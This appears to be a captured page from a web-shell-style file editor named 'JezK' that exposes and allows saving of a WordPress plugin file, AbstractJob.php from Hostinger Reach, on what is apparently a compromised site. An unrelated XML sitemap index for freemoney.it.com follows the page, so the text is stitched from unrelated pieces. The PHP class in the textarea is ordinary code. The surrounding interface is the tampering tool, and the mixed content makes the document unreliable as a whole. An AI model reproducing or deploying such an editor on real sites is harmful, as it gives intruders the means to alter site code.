
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: AbstractJob.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
declare( strict_types=1 );

namespace Hostinger\Reach\Jobs;

use ActionScheduler_QueueRunner;
use Hostinger\Reach\Api\Handlers\ReachApiHandler;

defined( &#039;ABSPATH&#039; ) || exit;

abstract class AbstractJob implements JobInterface {

    protected ActionScheduler $action_scheduler;
    protected ReachApiHandler $reach_api_handler;

    public function __construct( ActionScheduler $action_scheduler, ReachApiHandler $reach_api_handler ) {
        $this-&gt;action_scheduler  = $action_scheduler;
        $this-&gt;reach_api_handler = $reach_api_handler;
    }

    public function init(): void {
        add_action( $this-&gt;get_process_item_hook(), array( $this, &#039;handle_process_items_action&#039; ) );
        add_action( $this-&gt;get_start_hook(), array( $this, &#039;handle_sart_hook_action&#039; ) );

        if ( $this instanceof RecurringJobInterface &amp;&amp; $this-&gt;can_schedule_recurrent() ) {
            $this-&gt;action_scheduler-&gt;schedule_recurring( $this-&gt;get_interval(), $this-&gt;get_start_hook() );
        }
    }

    public function can_schedule_recurrent(): bool {
        return ! $this-&gt;action_scheduler-&gt;has_scheduled_action( $this-&gt;get_start_hook() );
    }

    public function can_schedule( array $args = array() ): bool {
        return $this-&gt;reach_api_handler-&gt;is_connected() &amp;&amp; ! $this-&gt;is_running( $args );
    }

    public function handle_sart_hook_action( array $args = array() ): void {
        $this-&gt;schedule( $args );
        if ( class_exists( &#039;ActionScheduler_QueueRunner&#039; ) ) {
            ActionScheduler_QueueRunner::instance()-&gt;run();
        }
    }

    public function handle_process_items_action( array $args = array() ): void {
        $this-&gt;process_items( $args );
    }

    public function get_process_item_hook(): string {
        return &quot;{$this-&gt;get_hook_base_name()}/process_item&quot;;
    }

    public function get_start_hook(): string {
        return &quot;{$this-&gt;get_hook_base_name()}/start&quot;;
    }

    protected function is_running( ?array $args = array() ): bool {
        return $this-&gt;action_scheduler-&gt;has_scheduled_action( $this-&gt;get_process_item_hook(), array( $args ) );
    }

    protected function get_hook_base_name(): string {
        return &quot;{$this-&gt;action_scheduler-&gt;get_group()}/jobs/{$this-&gt;get_name()}&quot;;
    }

    abstract public function get_name(): string;

    abstract protected function process_items( array $args ): void;
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//freemoney.it.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://freemoney.it.com/post-sitemap.xml</loc>
		<lastmod>2026-09-06T18:08:19+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://freemoney.it.com/page-sitemap.xml</loc>
		<lastmod>2026-08-31T10:13:12+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://freemoney.it.com/category-sitemap.xml</loc>
		<lastmod>2026-09-06T18:08:19+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->